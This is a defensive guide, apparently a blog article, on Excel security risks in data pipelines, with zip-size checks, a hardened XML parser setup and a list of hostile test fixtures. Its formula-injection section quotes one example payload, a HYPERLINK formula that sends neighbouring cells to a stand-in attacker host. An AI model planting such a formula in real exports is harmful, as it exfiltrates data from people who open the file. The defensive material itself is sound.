Skip to content
datahacks.dev
Excel

Excel Security Problems Developers Overlook in Pipelines

Excel risks a data pipeline inherits: formula injection, macros, zip bombs, XML entity attacks, hidden data and weak passwords, with the checks for each.

17 min read
Summarize in AI
Flat illustration of a spreadsheet grid with a selected cell and a formula bar.

Spreadsheets feel safe because they are familiar. People attach them to email without a thought, finance teams live in them, and a developer who would never run a stranger's executable will happily call read_excel on an upload. That habit is where the trouble starts. An Excel file is a container format with a long history, and a data pipeline that opens one inherits every property of the container: archives that expand, XML that can reference itself, formulas that run, links that point elsewhere and metadata that names the author. This guide maps those risks for the people who build the pipelines, covers what to check on the way in and on the way out, and links to the detailed recipes for each. For how the format is built, what is inside an Excel file is the useful companion.

What an xlsx file actually is

The .xlsx extension is a zip archive. Inside are XML parts that follow the Office Open XML standard, published as ECMA-376 and ISO/IEC 29500. A typical workbook holds [Content_Types].xml, a xl/workbook.xml listing the sheets, one xl/worksheets/sheetN.xml per sheet, a xl/sharedStrings.xml with the text values, xl/styles.xml, document properties under docProps/ and relationship files that wire the parts together (the xlsx file is a zip of XML).

Every one of those facts has a security consequence:

  • It is a zip, so the file can claim to be small and expand to something enormous.

  • It is XML, so the parser you use decides whether entity references and external resources are honored.

  • It stores formulas as text that the application evaluates on open.

  • It has relationships to external workbooks, hyperlinks and, in some formats, embedded objects.

  • It carries properties and hidden parts that the person who created the file may not know about.

  • The older binary and macro-enabled formats (.xls, .xlsm, .xlsb) can carry code.

Seen like that, "read the cells" becomes one step in a chain, and each earlier link in the chain is a place where untrusted input can do something other than hold data.

Who sends you workbooks

A threat model starts with the people. Think about where workbooks enter and leave your systems.

Inbound from customers and partners. A supplier uploads a price list. A customer uploads a contact list. A bank sends a statement. These people are mostly honest and occasionally careless, and now and then one is hostile. A hostile sender needs only one weak spot: a parser that crashes, a server that runs out of memory, a formula that exfiltrates, a path that overwrites a file.

Inbound from colleagues. An internal finance workbook is trusted far more than it should be. It has been through many hands, it may contain macros nobody remembers, and it links to files on shares that have since moved.

Outbound to customers and partners. The reports you generate leave your organization. The danger is in what you put into them by accident: another customer's rows in a hidden sheet, the author's name in the properties, a comment with an internal remark, a pivot cache holding the data that you deleted from the visible sheet.

Outbound to your own staff. Exports from your application, such as an order list or a user table, are opened in Excel by people with access to production systems. If an attacker can put text into a field that appears in that export, they are writing to a document that a privileged person will open.

The last case is the most common source of real incidents, and it is the one that tends to get dismissed as "just a spreadsheet".

Risk one: formula injection in exports

If your application writes user-supplied text into a CSV or xlsx file, a value that begins with =, +, - or @ can be interpreted as a formula when the file is opened. A name field containing =HYPERLINK("https://attacker.example/?d="&A2, "click") becomes a clickable link that sends the neighboring cells to a server controlled by the attacker. Older payloads used dynamic data exchange to launch programs, and while current Excel versions warn before doing so, a warning dialog is a weak defense when the file arrives from a trusted internal system.

The OWASP page on CSV injection describes the attack, and the weakness is listed as CWE-1236. The fix belongs in the code that writes the file:

  • For CSV, prefix a dangerous leading character with a single quote, or a tab, so the cell is read as text; recognize that this changes the stored value and document it.

  • For xlsx, write the cell with the string type explicitly. Libraries that guess types will turn a string starting with = into a formula unless told otherwise (formula injection in Excel exports and how to stop it).

  • Cover the whole set of risky leading characters, including tab and carriage return, and apply the rule to every user-controlled column, not only the ones that look dangerous today.

The CSV version of the same problem has its own article (escaping formula characters in a CSV export), and the wider list of CSV hazards is in CSV security risks teams catch late.

Risk two: macros and active content

A macro is VBA code stored inside a workbook. The xlsx format cannot hold a macro; the macro-enabled xlsm format and the legacy xls format can. That asymmetry gives a pipeline a strong default rule: accept xlsx, reject xlsm and xls, and verify the claim rather than trusting the extension.

Verifying means opening the zip and checking for the parts that would hold code, namely xl/vbaProject.bin, and checking [Content_Types].xml for the macro-enabled content type. A file named report.xlsx that is really an xlsm renamed will fail that check. Macros are a risk to the people who open the file in Excel, not to a library like openpyxl, which does not execute them; but a pipeline that stores, forwards or re-serves uploaded files passes the risk along to its users.

Microsoft has tightened this over the years. Files that come from the internet carry a "mark of the web" and Office blocks macros in them by default, as described in Microsoft's guidance on internet macros. That protection depends on the mark surviving: a file extracted from a zip, copied through some network shares or fetched by a script may arrive without it. A data team's policy should not rely on the desktop default. Why data teams should block macros by default sets out the decision, the exceptions and how to enforce it.

Other active content deserves a mention. External links to other workbooks cause Excel to prompt on open, and a scripted opener may follow them without asking. Embedded OLE objects and old-style controls exist for compatibility. A strict allowlist of what a pipeline accepts is simpler than a blocklist of everything that can be done.

Risk three: decompression and size

A zip entry that is 40 KB compressed can expand to 4 GB if the data is highly repetitive, and a file made on purpose to do that is a zip bomb. An xlsx has a legitimate version of the same problem, because a sheet XML is verbose and a workbook of a million rows expands roughly twenty times when parsed. Reading it into memory with a library that builds the whole tree can use many gigabytes for a file that is 30 MB on disk (why Excel files get huge).

The defenses are plain:

  1. Limit the upload size at the edge, before any parsing, with a number that matches the largest legitimate file.

  2. Inspect the archive before extracting. Count the entries, add up the declared uncompressed sizes and check the ratio between compressed and uncompressed.

  3. Read with limits. When you must extract, read in chunks and stop at a byte cap, because a header can lie about the size.

  4. Run the parse where a failure is cheap. A worker with a memory limit and a timeout turns a bomb into a failed job rather than an outage.

Python
import zipfile

MAX_FILE = 25 * 1024 * 1024
MAX_UNZIPPED = 400 * 1024 * 1024
MAX_ENTRIES = 200
MAX_RATIO = 100

def check_zip(path):
    import os
    if os.path.getsize(path) > MAX_FILE:
        raise ValueError("file too large")
    with zipfile.ZipFile(path) as z:
        infos = z.infolist()
        if len(infos) > MAX_ENTRIES:
            raise ValueError("too many entries")
        total = sum(i.file_size for i in infos)
        if total > MAX_UNZIPPED:
            raise ValueError("expands too far")
        for i in infos:
            if i.compress_size and i.file_size / i.compress_size > MAX_RATIO:
                raise ValueError(f"suspicious ratio in {i.filename}")
            if i.filename.startswith("/") or ".." in i.filename.split("/"):
                raise ValueError("unsafe path in archive")

The Python documentation warns about this class of problem in its zipfile decompression pitfalls section, and the weakness is CWE-409. The article on zip bombs and oversized XLSX uploads works through sensible limits, including how to size them from your real files.

Risk four: the XML parser

Because the parts inside an xlsx are XML, the library that reads them decides what an entity reference does. XML lets a document define an entity, and an entity can contain other entities. The "billion laughs" attack nests definitions so that a few hundred bytes expand to gigabytes. A document can also declare an external entity pointing at a local file or a URL, which is the root of XML external entity attacks.

Most Excel libraries in popular languages are not vulnerable to the external variant by default, and several are not protected against the expansion variant. The openpyxl documentation says plainly that it does not guard against quadratic blowup or billion laughs attacks unless the defusedxml package is installed, and that you should install it when handling untrusted files. That is a one-line change to the environment that closes a real hole:

Shell
pip install defusedxml

When you parse parts yourself, for example with lxml to pull a value the library does not expose, turn the dangerous features off:

Python
from lxml import etree

parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False, huge_tree=False)
tree = etree.parse("sheet1.xml", parser)

Our guide to the format's older cousin covers the same ground for XML in general (XML security problems that catch teams out), and the library notes live in the defusedxml project page.

Risk five: metadata and hidden data

When a workbook leaves your organization, the visible sheet is the smallest part of what it carries.

  • Document properties hold the author, the last editor, the company, the creation and modification times and the application version. These are in docProps/core.xml and docProps/app.xml, and a custom properties part may hold more.

  • Hidden sheets are ordinary sheets with a state of hidden, or veryHidden, which cannot be unhidden from the normal menu but is plainly visible in the XML.

  • Hidden rows and columns are only collapsed, with every value intact.

  • Comments and notes record remarks, and sometimes names, that the author forgot were there.

  • Defined names can point at ranges on sheets you thought you had removed.

  • Pivot caches store a copy of the source data inside the file, so deleting the source rows does not delete the data that the pivot was built on.

  • Tracked changes and version history may preserve what was typed and then corrected.

  • External links reveal file paths and server names from your network.

Delete the number on a sheet and ship the file, and a recipient with an unzip tool can read the rest. The practical approach is to build the outbound workbook from scratch with only the sheets and cells it should hold, rather than cleaning a working file. Writing from data into a new workbook starts with nothing to leak. See hidden sheets and metadata leaking out of shared workbooks for how to audit a file, and removing personal data from an Excel file before sharing for the cleanup steps and their limits. Excel includes a Document Inspector, found under File, Info, Check for Issues, that finds many of these, and it is worth running by hand on anything unusual.

Risk six: passwords that are not protection

Excel offers several things that look like protection.

Password to open encrypts the whole file. Modern versions use AES with a key derived from the password through many rounds of hashing, which makes it a real defense when the password is strong and the file is saved by a current version. Weak passwords fall to guessing, and files from Excel 2003 and earlier used far weaker schemes.

Protect sheet and protect workbook do not encrypt anything. The password stored in the XML is a short hash used to decide whether the user interface allows editing, and the XML can be edited to remove the element altogether. It stops accidents. It does not stop anyone who wants in.

Hidden and very hidden sheets are cosmetic, as above.

Scripts that must read encrypted workbooks need the password, and handling it properly is its own topic (password protected Excel files and scripts that read them). The rule for design is simple: never describe sheet protection to a stakeholder as security.

Risk seven: trusting the file you were handed

The cheapest class of bug is believing what a file says about itself. The extension says .xlsx, the browser reports a MIME type, the upload form has a "type" field, and none of that is evidence. Check the content: the first bytes of a zip are PK, the archive must contain [Content_Types].xml and xl/workbook.xml, and the declared content type of the main part must be the spreadsheet type and not the macro-enabled one.

Sanitize everything that is derived from the file before it touches your system. A sheet name, a file name inside the archive or a header cell can contain path separators, control characters or SQL fragments. Use them as data and never as part of a path or a query: take your own generated name for storage, pass sheet and column names through an allowlist or a quoting function, and bind values as parameters. Checking an Excel upload before reading it puts the checks in order, and opening untrusted Excel files safely in a pipeline shows how to isolate the work in a sandboxed process.

A reference pipeline

Putting the controls together gives a sequence that handles an upload from receipt to database.

  1. Receive the upload with a hard size limit at the web server or proxy. Store it under a generated name, outside the web root, with no execute permission.

  2. Identify the file by content: zip magic bytes, required parts present, no macro parts, content type correct. Reject on any failure.

  3. Inspect the archive for entry count, total uncompressed size, ratio and unsafe paths.

  4. Parse in a constrained process. Use a worker with a memory ceiling and a timeout, a read-only mode that streams rows, and an XML layer with entity expansion disabled.

  5. Validate the content against the template: expected sheet, expected headers, types per column, row limits (checking an incoming workbook against a template).

  6. Load through parameters into a staging table, never by building SQL strings from cell text (staging Excel data in a table first).

  7. Log the outcome with the file's hash, size, sheet names and the reason for any rejection, and keep the original for as long as policy requires.

  8. Delete or quarantine rejected files rather than leaving them where something might open them later.

On the way out, the reverse applies. Build the workbook from data, write user text as strings, include only the sheets that should be there, set properties yourself, and run a small test that opens the result and asserts there is nothing hidden (protecting a generated workbook from accidental edits covers locking, and testing a generated Excel report covers the assertions).

Test with hostile fixtures

A control you have not exercised is a hope. Keep a folder of small, safe, hostile files in the repository and run the pipeline against them in CI.

  • A file with the .xlsx extension that is plain text.

  • A real xlsx with a cell value =1+1, to prove the export path writes it as text.

  • A zip with an entry whose declared size is far larger than its compressed size.

  • A zip with a path traversal entry name.

  • An xlsx with a xl/vbaProject.bin part.

  • A workbook with a hidden sheet and a comment, to prove the outbound check finds them.

  • A workbook with 200 sheets, and one with 16,384 columns, for the limits.

Each fixture has an expected outcome, either a specific rejection message or a clean pass. When someone changes the pipeline, the fixtures say whether a guard has gone missing. None of these files is dangerous to open in a library; they are structurally odd, not executable, and they should be kept away from desktop Office anyway.

Logging and incident response

Rejecting a file silently teaches nobody anything. Log the reason with enough detail to investigate: the stored name, the original file name (escaped), the size, the hash, the sender, the check that failed. Count rejections by reason and watch the trend. A burst of zip ratio failures from one source is a signal worth an alert. A steady trickle of "wrong template version" is a sign that your template distribution has a problem, which is a support issue and not a security one (versioning template layouts so old files still import).

When a malicious file does get through, the questions are the usual ones. What opened it, with what privileges, and where did its output go? Keep the original upload, its hash and the processing logs for the retention period, so you can answer. For outbound leaks, the question is which workbooks contained what, which is a question the generated-file manifest from your pipeline can answer if you wrote one.

What the tooling can and cannot do

Antivirus scanning of uploads is worth having and it is a different layer. A scanner finds known malicious macros and some exploit documents; it does not know that your export contains a formula an attacker typed into a name field, and it does not enforce your limits. Treat it as an addition and not a substitute.

Content disarm and reconstruction services rebuild a document from its safe parts, which suits a pipeline that must forward files to humans. For a pipeline that only wants the data, extraction into a new, simple structure achieves the same effect more cheaply: read the cell values you need and discard the file.

Desktop controls matter too. Group policy can block macros from files that came from the internet, block Excel from opening files from untrusted locations and disable dynamic data exchange. They protect the people who open files, and a data team that produces files for others should still do its own part on output.

Where the real incidents come from

Looking at the pattern of problems teams report, three account for most of them. The first is the export that carries user text into a file opened by staff, which is the formula injection case above. The second is the upload that exhausts memory, usually without any malice: a customer sends a 90 MB workbook with a million formatted empty rows, the parser loads it whole and the worker is killed. The third is the outbound workbook that carried something it should not have, such as the previous month's customer list in a hidden sheet of a template that someone reused.

None of these needs an exotic attacker. They need a missing limit, a library default and a template copied one time too many. That is good news for the people building the pipeline, because plain, boring controls cover them: limits, explicit types, a clean build for outbound files and fixtures that prove each control still works after the next refactor.

Habits worth building

A few habits remove most of the exposure without much effort.

  • Prefer reading values to opening documents: use a library, never automate a desktop Excel instance on a server for untrusted files.

  • Prefer CSV or Parquet between systems, and keep the workbook for humans (converting a huge Excel file to CSV or Parquet).

  • Prefer a new file to an edited one when sending data out.

  • Pin and update the libraries that parse office files, because their vulnerabilities are patched regularly.

  • Put the size and shape limits in configuration with comments that say where the numbers came from.

  • Write down the one-sentence policy: what you accept, from whom, and what happens to the rest.

When Excel is the wrong thing to accept

The strongest control is not accepting the file. If a customer is uploading a list of 500 rows, a form, a CSV template or an API call may serve better than an xlsx, and each removes a layer of container risk. If your system reads a workbook every night from a shared folder, ask whether an export from the source system could replace it. When you must accept Excel because the business runs on it, accept one narrow form of it: a template with fixed sheets and headers, a size cap, no macros, and a parser in a sandbox (giving users a template instead of rules).

Not every pipeline needs every control. An internal job that reads one workbook produced by one trusted script needs a size check and a version pin. A public upload endpoint needs all of the above. Match the controls to who can put a file in front of your code, and write down the decision so the next developer does not have to rediscover it.

Where to go next

Start with the inbound controls if you accept uploads: checking an Excel upload before reading it, opening untrusted Excel files safely in a pipeline and zip bombs and oversized XLSX uploads. Start with formula injection in Excel exports if you generate files. Read hidden sheets and metadata leaking out of shared workbooks and removing personal data from an Excel file before sharing before any workbook goes to a customer. Settle the policy question with why data teams should block macros by default, and read password protected Excel files and scripts that read them before you promise anyone that a password protects a sheet.

The format is specified in ECMA-376, which is long but searchable, and the general security guidance for files and uploads is collected by OWASP. The site's tools run in your browser, so they are safe for checking the structure of a sample without sending the file anywhere.

Also inSecurity
Share

Keep reading

Get new articles by email

We send one email when a new article is published. No spam.

Unsubscribe in one click. No spam, ever.